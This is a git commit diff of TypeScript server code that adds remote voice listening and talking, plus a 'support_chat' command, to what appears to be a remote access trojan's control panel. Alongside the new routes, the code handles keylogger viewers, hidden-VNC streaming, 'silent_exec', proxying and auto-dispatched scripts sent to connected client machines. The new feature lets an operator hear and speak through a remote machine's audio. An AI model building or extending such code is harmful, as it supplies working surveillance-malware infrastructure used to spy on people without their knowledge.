remote voice receiving and talking

This commit is contained in:
KingKDot
2026-03-07 23:27:57 -06:00
parent fb9f10bb45
commit 51a653a6aa
21 changed files with 1559 additions and 3 deletions
@@ -32,9 +32,16 @@ type PendingScript = {
timeout: NodeJS.Timeout;
};
type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void;
timeout: NodeJS.Timeout;
};
type ClientRouteDeps = {
CORS_HEADERS: Record<string, string>;
pendingScripts: Map<string, PendingScript>;
pendingCommandReplies: Map<string, PendingCommandReply>;
};
export async function handleClientRoutes(
@@ -378,6 +385,88 @@ export async function handleClientRoutes(
} catch (error: any) {
return Response.json({ ok: false, error: error.message }, { status: 500 });
}
} else if (action === "support_chat") {
const message = typeof body?.message === "string" ? body.message.trim() : "";
const requireReply = body?.requireReply !== false;
const operator = typeof user?.username === "string" ? user.username.trim() : "";
if (!message) {
return Response.json({ ok: false, error: "Message is required" }, { status: 400 });
}
if (message.length > 1200) {
return Response.json({ ok: false, error: "Message too long (max 1200 characters)" }, { status: 400 });
}
const cmdId = uuidv4();
const waitTimeoutMs = 4 * 60 * 1000;
let replyPromise: Promise<{ ok: boolean; message?: string }> | null = null;
if (requireReply) {
replyPromise = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Support chat reply timed out"));
}, waitTimeoutMs);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
});
}
target.ws.send(
encodeMessage({
type: "command",
commandType: "support_chat",
id: cmdId,
payload: {
message,
requireReply,
operator,
},
}),
);
metrics.recordCommand("support_chat");
if (!replyPromise) {
return Response.json({ ok: true });
}
try {
const reply = await replyPromise;
return Response.json({ ok: reply.ok, response: reply.message || "" }, { headers: deps.CORS_HEADERS });
} catch (error: any) {
return Response.json({ ok: false, error: error.message || "Support chat failed" }, { status: 504 });
}
} else if (action === "voice_capabilities") {
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Voice capability probe timed out"));
}, 30_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
});
target.ws.send(
encodeMessage({
type: "command",
commandType: "voice_capabilities",
id: cmdId,
}),
);
try {
const result = await replyPromise;
let caps: any = null;
if (result.message) {
try {
caps = JSON.parse(result.message);
} catch {
caps = null;
}
}
return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
} catch (error: any) {
return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
}
} else if (action === "silent_exec") {
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
@@ -112,6 +112,30 @@ export async function handlePageRoutes(
}
}
if (req.method === "GET" && url.pathname === "/voice") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) });
}
}
if (req.method === "GET" && url.pathname === "/metrics") {
const user = await authenticateRequest(req);
if (!user) {
@@ -17,10 +17,16 @@ type PendingScript = {
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
};
type PendingCommandReply = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok: boolean; message?: string }) => void;
};
type WsLifecycleDeps = {
maxClientPayloadBytes: number;
maxViewerPayloadBytes: number;
pendingScripts: Map<string, PendingScript>;
pendingCommandReplies: Map<string, PendingCommandReply>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
@@ -31,6 +37,7 @@ type WsLifecycleDeps = {
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -39,6 +46,7 @@ type WsLifecycleDeps = {
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
@@ -58,6 +66,8 @@ type WsLifecycleDeps = {
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
@@ -77,6 +87,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
const id = clientId || uuidv4();
@@ -134,6 +145,7 @@ export function handleWebSocketMessage(
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
const { clientId, ip } = ws.data;
@@ -213,6 +225,17 @@ export function handleWebSocketMessage(
case "file_read_result":
case "file_search_result":
case "command_result":
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
if (pending) {
clearTimeout(pending.timeout);
pending.resolve({
ok: Boolean((payload as any).ok),
message: typeof (payload as any).message === "string" ? (payload as any).message : "",
});
deps.pendingCommandReplies.delete((payload as any).commandId);
}
}
if (typeof (payload as any).commandId === "string") {
deps.notifyRdInputLatency((payload as any).commandId);
}
@@ -259,6 +282,9 @@ export function handleWebSocketMessage(
case "notification":
deps.handleNotification(info.id, payload);
break;
case "voice_uplink":
deps.handleVoiceUplink(info.id, payload);
break;
default:
break;
}
@@ -356,6 +382,11 @@ export function handleWebSocketClose(
return;
}
if (role === "voice_viewer") {
deps.cleanupVoiceViewer(ws);
return;
}
if (role === "notifications_viewer") {
if (sessionId) {
sessionManager.deleteNotificationSession(sessionId);
@@ -163,6 +163,24 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 });
}
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
if (voiceMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = voiceMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
const user = await authenticateRequest(req);
if (!user) {